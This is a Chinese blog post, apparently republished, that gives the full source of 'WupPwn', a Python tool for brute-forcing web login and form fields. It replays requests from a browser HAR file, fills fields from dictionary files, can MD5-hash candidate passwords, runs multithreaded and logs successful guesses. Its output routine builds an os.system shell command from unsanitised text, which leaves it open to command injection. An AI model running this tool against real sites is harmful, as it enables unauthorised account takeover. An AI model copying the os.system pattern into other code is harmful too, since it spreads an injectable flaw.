Python如何利用Har文件进行遍历指定字典替换提交的数据详解
作者:zKhox0 发布时间:2022-04-22 22:35:17
标签:python,har,遍历
利用Chrome或Firefox保存的Har文件http/https请求,可用于遍历字典提交From表单.
少说废话直接上代码
Github地址:https://github.com/H0xMrLin/wuppwn
#encoding:utf-8
import sys;
#Yeah,我没有注释。懒得写
HelpContent="""
Help:
+=====================================================================================================================+
WupPwn.py
Python3 WupPwn.py HarFileName [pd=filedName:Value|pd=filedName:$DicFileName] [if=responseContent] [ifnot=responseContent] [ifend=responseContent] [out=OutFileName]
HarFileName har文件名 谷歌或Firefox web抓包保存为har entries下可以看到所有请求的地址及参数 可以删除一些不必要的请求让程序更快运行
pd 设置上传数据 字段名:值 或者 字段名:字典
if=xxx 如果内容是xxx那就记录 可多个用||隔开
ifnot=xxx 如果内容不是xxx哪就记录 可多个用||隔开
ifend=xxx 如果内容是xxx那就记录并结束 可多个用||隔开
out=xx.txt 输出记录到文件
see=on|off 查看每次尝试破解响应
Current request method have: GET/POST
*且目前不支持http请求头带 RFC 标识 (RFC-eg: ':method':'POST')可以检查是否有
md5=XXX 将 指定字段名的值进行md5加密再暴力破解 一般=password||passwd||pwd ...
th=5 设置5个线程同时运行
版本警告:
《!》: 切勿用作违法使用,仅供渗透测试,如非法使用该工具与作者无关。 Makerby:Pwn0_+x_X
+=====================================================================================================================+
""";
if(len(sys.argv) <=1):
print(HelpContent);
sys.exit(1);
if(sys.argv[1].lower()=="h" or sys.argv[1].lower()=="-h" or sys.argv[1].lower()=="help"or sys.argv[1].lower()=="-help"):
print(HelpContent);
sys.exit(1);
import os;
import json;
import urllib.request;
import requests;
import socket;
import hashlib;
import threading;
import traceback;
import uuid;
import copy
from hyper.contrib import HTTP20Adapter;
socket.setdefaulttimeout(3);
CAllowRequestMethod=["get","post"];
HARFile=sys.argv[1];
harfp=open(HARFile,"rb");
harContent=harfp.read();
HarJSON=json.loads(harContent);
Body=HarJSON["log"]
print("Version :"+Body["version"]);
print("Request Count :"+str( len(Body["entries"])))
AimUrlAPar={};
for reqBody in Body["entries"]:
AimUrlAPar[reqBody["request"]["url"]]={};
AllowRequest="×";
if(reqBody["request"]["method"].lower() in CAllowRequestMethod):
AllowRequest="√";
else:
print(" "*5,"[",AllowRequest,"]",reqBody["request"]["method"],"\t\t"+reqBody["request"]["url"].split("?")[0])
continue;
print(" "*5,"[",AllowRequest,"]",reqBody["request"]["method"],"\t\t"+reqBody["request"]["url"].split("?")[0])
Parameter= reqBody["request"]["queryString"] if reqBody["request"]["method"].lower()=="get" else reqBody["request"]["postData"]["text"]
#print(Parameter)
if(reqBody["request"]["method"].lower()=="post"):
if "application/json" in reqBody["request"]["postData"]["mimeType"]:
Parameter=json.loads(Parameter)
else:
Parameter=reqBody["request"]["postData"]["params"];
tmpPar={};
for item in Parameter:
tmpPar[item["name"]]=item["value"];
Parameter=tmpPar;
AimUrlAPar[reqBody["request"]["url"]]["paramtertype"]=reqBody["request"]["postData"]["mimeType"].lower()
elif(reqBody["request"]["method"].lower()=="get"):
Par={};
#print("get")
for item in Parameter:
Par[item["name"]]=item["value"]
Parameter=Par;
headers={};
headNotContains=["Content-Length"];
for headFiled in reqBody["request"]["headers"]:
if headFiled["name"] in headNotContains:
continue;
headers[headFiled["name"]]=headFiled["value"];
cookies={};
for headFiled in reqBody["request"]["cookies"]:
cookies[headFiled["name"]]=headFiled["value"];
#print(cookies);
AimUrlAPar[reqBody["request"]["url"]]["arguments"]=Parameter
AimUrlAPar[reqBody["request"]["url"]]["header"]=headers
AimUrlAPar[reqBody["request"]["url"]]["cookies"]=cookies
AimUrlAPar[reqBody["request"]["url"]]["method"]=reqBody["request"]["method"].lower()
AimUrlAPar[reqBody["request"]["url"]]["httpversion"]=reqBody["request"]["httpVersion"].lower()
#系统存储
kPMd5={};
#用户参数设定
pds=[];
ifC=[];# 最小优先级
ifN=[];# 其二优先级
ifE=[];# 最大优先级
otFile="";
ascMD5=[];
testsee="off";
see="off";
th=0;
#因为我不太喜欢指令的参数化模块 所以我直接写了个硬代码 注:python的模块有时候很讨厌.
def setBaseParamters(Key,Value):
global see,otFile,testsee,th;
Key=Key.lower();
if(Key=="pd"):
FILEDSUM=Value.split(":");
filedName=FILEDSUM[0];
filedValue=FILEDSUM[1];
if(filedValue[0]=="$"):
apArr=[];
filedP=open(filedValue[1:],"r");
redValueLines=filedP.readlines();
for val in redValueLines:
apArr.append({filedName:val.replace("\n","")});
pds.append(apArr);
else:
pds.append([{filedName:filedValue}]);
elif(Key=="if"):
ifcItems=Value.split("||");
for item in ifcItems:
ifC.append(item);
elif(Key=="ifnot"):
ifcItems=Value.split("||");
for item in ifcItems:
ifN.append(item);
elif(Key=="ifend"):
ifcItems=Value.split("||");
for item in ifcItems:
ifE.append(item);
elif(Key=="md5"):
md5Items=Value.split("||");
for item in md5Items:
ascMD5.append(item);
elif(Key=="see"):
see=Value.strip().lower();
elif(Key=="out"):
otFile=Value.strip().lower();
elif(Key=="testsee"):
testsee=Value.strip().lower();
elif(Key=="th"):
th=int(Value.strip().lower());
return;
curThs={};
def pdLoop(index,havePar={},myThead=None):
global curThs,kPMd5;
for item in pds[index]:
FiledName=list(item.keys())[0];
FiledValue=list(item.values())[0];
if(FiledName in ascMD5):
m5Obj=hashlib.md5(bytes(FiledValue,encoding="UTF-8"));
SourceValue=FiledValue;
FiledValue=m5Obj.hexdigest();
kPMd5[FiledValue]=SourceValue;
havePar[FiledName]=FiledValue;
if(index>0):
if(th>0 and len(curThs)<th ):
print("[+]线程记录点")
childThread=str(uuid.uuid1()).replace("-","");
RunTh= threading.Thread(target=pdLoop,args=(index-1,copy.deepcopy(havePar),childThread,));
curThs[childThread]=RunTh;
RunTh.start();
else:
pdLoop(index-1,copy.deepcopy(havePar));
else:
Call(havePar);
if(myThead!=None):
print("[+]线程释放点",myThead)
curThs.pop(myThead);
def Call(sendData):
for reqUrl in list(AimUrlAPar.keys()):
CurHeaders= AimUrlAPar[reqUrl]["header"];
CurHeaders["Cookie"]="";
CurCookies= AimUrlAPar[reqUrl]["cookies"];
for cookieKey in list(CurCookies.keys()):
CurHeaders["Cookie"]+=cookieKey+"="+CurCookies[cookieKey]+";"
#print(cookieKey+"="+CurCookies[cookieKey]+";");
CurArguments= AimUrlAPar[reqUrl]["arguments"];
for cgDataKey in list(sendData.keys()):
CurArguments[cgDataKey]=sendData[cgDataKey];
try:
if(AimUrlAPar[reqUrl]["method"]=="get"):
print("[+]GET-Pwn:%s"%(reqUrl));
#data = urllib.parse.urlencode(CurArguments).encode('utf-8');
if(AimUrlAPar[reqUrl]["httpversion"]=="http/2.0"):
sessions.mount(reqUrl,HTTP20Adapter());
res=requests.get(reqUrl,headers=CurHeaders,params=CurArguments);
print(res.text);
Auth(CurArguments,res.text);
elif(AimUrlAPar[reqUrl]["method"]=="post"):
"""
data = urllib.parse.urlencode(CurArguments).encode('utf-8')
request = urllib.request.Request(reqUrl,data = data,headers = CurHeaders,method="POST");
response = urllib.request.urlopen(request)
html = response.read().decode('utf-8')"""
if(AimUrlAPar[reqUrl]["paramtertype"]=="application/x-www-form-urlencoded"):
data = urllib.parse.urlencode(CurArguments).encode('utf-8')
else:
data = json.dumps(CurArguments);
sessions=requests.session();
if(AimUrlAPar[reqUrl]["httpversion"]=="http/2.0"):
sessions.mount(reqUrl,HTTP20Adapter());
res=sessions.post(reqUrl,data=data,headers=CurHeaders);
Auth(CurArguments,res.text);
None;
except Exception as e:
print("[-]Pwn timeout",traceback.print_exc(),kPMd5)
def Auth(Arguments,resContent):
Success=False;
Arguments=copy.deepcopy(Arguments)
for argItemName in list(Arguments.keys()):
if(argItemName in ascMD5):
Arguments[argItemName]=kPMd5[Arguments[argItemName]];
#print(ifE,ifC,ifN)
for ifeItem in ifE:
if(ifeItem in resContent):
Output(str(Arguments));
sys.exit(1);
for ifnItem in ifN:
if not(ifnItem in resContent ):
Output(str(Arguments));
Success=True
for ifcItem in ifC:
if (ifcItem in resContent ):
Output(str(Arguments));
Success=True
if(see=='on'):
print({True:"\t[√]",False:"[-]"}[Success],Success,Arguments);
if(testsee=="on"):
print(resContent);
def Output(text):
if(otFile.strip() == ""):
return;
os.system("echo %s>>%s"%(text,otFile));
return ;
for index in range(len(sys.argv)-2):
parIndex=index+2;
parItem= sys.argv[parIndex];
try:
Item= parItem.split("=");
key=Item[0];
value=Item[1];
setBaseParamters(key,value);
except:
print("Error paramter(%s)"%(parItem));
#print(AimUrlAPar);
if(len(pds)-1>=0):
pdLoop(len(pds)-1)
来源:https://blog.csdn.net/JudgerHua/article/details/109441196
0
投稿
猜你喜欢
- 效果图:1.安装django-ckeditorpip install django-ckeditor如果需要上传图片或者文件,还需要安装pi
- 可怜我的C盘本来只有8.XG,所以不得不卸载掉它。卸载掉本身没啥问题,只是昨晚突然发现 Sql Server 2008 R2 Managem
- 引子之前在学习Django时,对状态保持这个概念很模糊,不知道怎么去保持,通过什么去实现保持都不太清楚;稍微花了一点时间,把状态保持的基本概
- OCR of Hand-written Data using kNNOCR of Hand-written Digits我们的目标是构建一个
- 虽然我只是把豆瓣当作一个纪录工具来用,纪录下自己看过的电影、听过的音乐、读过的书籍,我几乎不关注豆瓣上的任何影评、乐评、音衣服之类的内容,但
- 本文实例讲述了python实现获取序列中最小的几个元素。分享给大家供大家参考。具体方法如下:import heapq import rand
- ★二维数组的使用方式:先声明或者定义,再赋值1)语法:var 数组名[大小][大小]类型2)比如:var arr[2][3]int[][]两
- Python对不可变序列进行重复拼接操作效率会很低,因为每次都会生成一个新的对象,解释器需要把原来对象中的元素先复制到新的对象里,然后再追加
- 递归一个函数在执行过程中一次或多次调用其本身便是递归,就像是俄罗斯套娃一样,一个娃娃里包含另一个娃娃。递归其实是程序设计语言学习过程中很快就
- 单测框架的作用测试发现:从多个文件中寻找测试用例。测试执行:按照一定顺序去执行并且生成结果。测试断言:判断最终结果与实际结果的差异。测试报告
- #-*- coding:utf-8 -*- from win32com.client import Dispatch if __name__
- 继续Mootools常用方法扩展,依然还是String类的扩展。方法:unescapseHTML说明:这个上次忘了,和escapseHTML
- 1.用一个栈【python中可以用List】就可以解决,时间和空间复杂度都是O(n)# -*- coding: utf8 -*-# 符号表S
- 本文实例讲述了Python使用爬虫抓取美女图片并保存到本地的方法。分享给大家供大家参考,具体如下:图片资源来自于www.qiubaichen
- Python 类的继承详解Python既然是面向对象的,当然支持类的继承,Python实现类的继承比JavaScript简单。Parent类
- (1)在校大学生。最好是数学或计算机相关专业,编程能力还可以的话,稍微看一下爬虫知识,主要涉及一门语言的爬虫库、html解析、内容存储等,复
- 本文实例讲述了Python实现的旋转数组功能算法。分享给大家供大家参考,具体如下:一、题目给定一个数组,将数组中的元素向右移动 k 个位置,
- 群里有人提出这么一个需求:每天都会传过来一份 Word 文档,里面有多个 Excel 附件,需要把 Excel 内容读取出来。第一反应是使用
- python中的class_static的@classmethod的使用 classmethod的使用,主要针对的是类而不是对象,在定义类的
- 1.简介: java.util.regex是一个用正则表达式所订制的模式来对字符串进行匹配工作的类库包。 它包括两个类:Pattern和Ma